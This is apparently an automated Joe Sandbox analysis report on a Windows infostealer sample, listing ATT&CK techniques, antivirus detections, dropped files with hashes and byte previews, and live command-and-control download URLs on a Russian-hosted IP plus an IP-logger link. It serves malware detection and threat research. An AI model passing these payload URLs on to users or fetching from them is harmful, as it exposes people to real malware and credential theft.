Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
3K6rBUOQ2z.exe	32%	ReversingLabs	Win32.Infostealer.Generic
3K6rBUOQ2z.exe	100%	Avira	HEUR/AGEN.1320706
3K6rBUOQ2z.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\wuBeweeRz\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp	false		high
http://185.156.73.23/dll/download	false		high
http://185.156.73.23/files/download	false		high
http://185.156.73.23/dll/key	false		high
http://185.156.73.23/soft/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/dll/downloadp	3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp8	3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g-cleanit.hk	3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/dll/downloadX	3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/dll/keyW	3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.9.dr	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/soft/download23/files/downloadz	3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/1Pz8p7	3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.156.73.23	unknown	Russian Federation		48817	RELDAS-NETRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578960
Start date and time:	2024-12-20 17:07:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3K6rBUOQ2z.exe renamed because original name is a hash value
Original Sample Name:	cd064ed63eb478d56c93d52cfe887dc8.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 13.107.246.63, 172.202.163.200, 40.126.53.16
Excluded domains from analysis (whitelisted): www.bing.com, onedsblobprdeus16.eastus.cloudapp.azure.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3K6rBUOQ2z.exe

Simulations

Behavior and APIs

Time	Type	Description
12:55:02	API Interceptor	2572852x Sleep call for process: 3K6rBUOQ2z.exe modified
12:56:50	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.156.73.23	zSmMqGGeVy.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	tXEKP1ThBP.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	hvm4oOzDaX.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	4kahanaK78.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RELDAS-NETRU	zSmMqGGeVy.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	tXEKP1ThBP.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	hvm4oOzDaX.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	4kahanaK78.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	beacon.exe	Get hash	malicious	CobaltStrike	Browse	185.156.73.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]	zSmMqGGeVy.exe	Get hash	malicious	Unknown	Browse
	tXEKP1ThBP.exe	Get hash	malicious	Unknown	Browse
	hvm4oOzDaX.exe	Get hash	malicious	Unknown	Browse
	7JKssbjRDa.exe	Get hash	malicious	Unknown	Browse
	dI3n4LSHB7.exe	Get hash	malicious	Unknown	Browse
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_3K6rBUOQ2z.exe_cf9936fe737330be2bd0fbdde2a7f427ed4266f_df5cbd8d_9147816c-9e6c-472b-81cf-b6e8518902a6\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9873026440191326
Encrypted:	false
SSDEEP:	96:vJLLJhasIhNi7YjSYQXIDcQZc6mpcEwcw3TCm+HbHg/8BRTf3Oy1oVazW0H9nFEm:BLlcg0Xsaijud3szuiFwZ24IO8X
MD5:	FF0AAAE2498AC6ABE56AFCD505A01773
SHA1:	C41BF6DF6FA4937E9853DAD466D6CCD40E0B90BF
SHA-256:	B6E38626F59A6D37FF75A34AF173DB8D6A3BABD449D0C6C8D4169BE5CF96F93B
SHA-512:	FC2BFF27DEB58CC208E60EAC9BE17C26F311797BA7A2DF76DAF4A872AFAE061866396D4E65293F8BE5A7A47EB53F576B0B3105205995BF4AF29B22E44D0346A0
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.9.0.9.7.9.0.7.2.5.5.0.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.9.0.9.7.9.6.1.9.4.4.8.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.4.7.8.1.6.c.-.9.e.6.c.-.4.7.2.b.-.8.1.c.f.-.b.6.e.8.5.1.8.9.0.2.a.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.2.a.4.8.0.f.-.1.b.3.1.-.4.d.9.6.-.8.3.8.8.-.0.c.9.6.b.e.a.b.d.1.1.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.3.K.6.r.B.U.O.Q.2.z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.6.c.-.0.0.0.1.-.0.0.1.4.-.7.0.9.5.-.6.5.6.1.f.9.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.e.1.6.b.2.2.f.e.6.a.e.5.0.5.1.0.0.5.8.0.6.f.f.8.7.8.d.1.1.a.7.0.0.0.0.f.f.f.f.!.0.0.0.0.9.d.6.2.f.6.8.8.f.6.8.f.c.d.6.e.2.6.d.d.3.0.5.1.8.2.a.a.a.0.6.b.3.4.7.c.a.c.1.9.!.3.K.6.r.B.U.O.Q.2.z...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE420.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 17:56:19 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46690
Entropy (8bit):	2.5440389890786994
Encrypted:	false
SSDEEP:	192:U/G8M0gXwgDvKXrRr+Oio+FN8fz5WdJFqasQVadpmLtn/O5Kbm1KNELOpmABcDI0:cbgDvQRr5P+F25WdJOQPn/0mcO/G5PH
MD5:	B96C0BF11E197F01BDF96339276D248E
SHA1:	B738AC3137D3E19941A55A28A7AC039D7B19CD26
SHA-256:	5248E513E8266D016385C48F9713BD64010619BE01DC6194520F236176C3CA21
SHA-512:	6CB09BC67FCB61CE3BA03FB688AE6F1FB7F1E169DED39DE4CD2FE3B7F088F2EACAC2F491C5B013A55E1FE5B29D5D1568868E62EB75661DB5C438C66F86B29856
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........eg............4...........8...<.......T....,..........T.......8...........T...........xB...s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......l...q.eg....a........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE549.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8404
Entropy (8bit):	3.696021737736292
Encrypted:	false
SSDEEP:	192:R6l7wVeJsFw60K6YN8SU9zgmfytpD+89byzsfjGm:R6lXJZ6x6YGSU9zgmfyvyYfr
MD5:	08383EF8F54BBCB1F77AA73FD1623E22
SHA1:	AE0FFFAF6AF0EBD2AB7BE9517E0B4AB3AE6668AA
SHA-256:	EBC385CD9AF84348F2F2C205DF62B659BB5888C9664D4185F1098F13583BC17B
SHA-512:	6F1D5D1B570DE48A6F2024DFC78E6A4EA558F7C830F972086FB5CAF3DB20D07AFB6B3B352C14D0FB6D0BA0598CFAC33ACCC602EDB377A336396D65543CC2750C
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE589.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	4.464101333722558
Encrypted:	false
SSDEEP:	48:cvIwWl8zsStJg77aI9AjWpW8VYdYm8M4JAQF6+q8vMIXGvCz9xd:uIjf4I7eS7VNJiKdXrz9xd
MD5:	E88B2400D4347474FCD2FD6BAD591281
SHA1:	8DCD642885A1D9BB403D2DB33934C3642650C6AE
SHA-256:	F6EFDBBE0206326D86D9364127272F90B7C34AD31A649F3B905A8049F3566853
SHA-512:	764FE996D6F34688851532AA547F10708D2A222BCCF6FD819AC36127AA4FABC3E46B65507FC9777626EBFF1029F4C9B8D9DC84C4979716771653B38927EE78A2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639899" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1]

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: zSmMqGGeVy.exe, Detection: malicious, Browse Filename: tXEKP1ThBP.exe, Detection: malicious, Browse Filename: hvm4oOzDaX.exe, Detection: malicious, Browse Filename: 7JKssbjRDa.exe, Detection: malicious, Browse Filename: dI3n4LSHB7.exe, Detection: malicious, Browse Filename: 8V0INSl0E2.exe, Detection: malicious, Browse Filename: BEd2lJRXFM.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\download[1].htm

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\add[1].htm

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\download[1].htm

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\key[1].htm

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]

Process:	C:\Users\user\Desktop\3K6rBUOQ2z.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
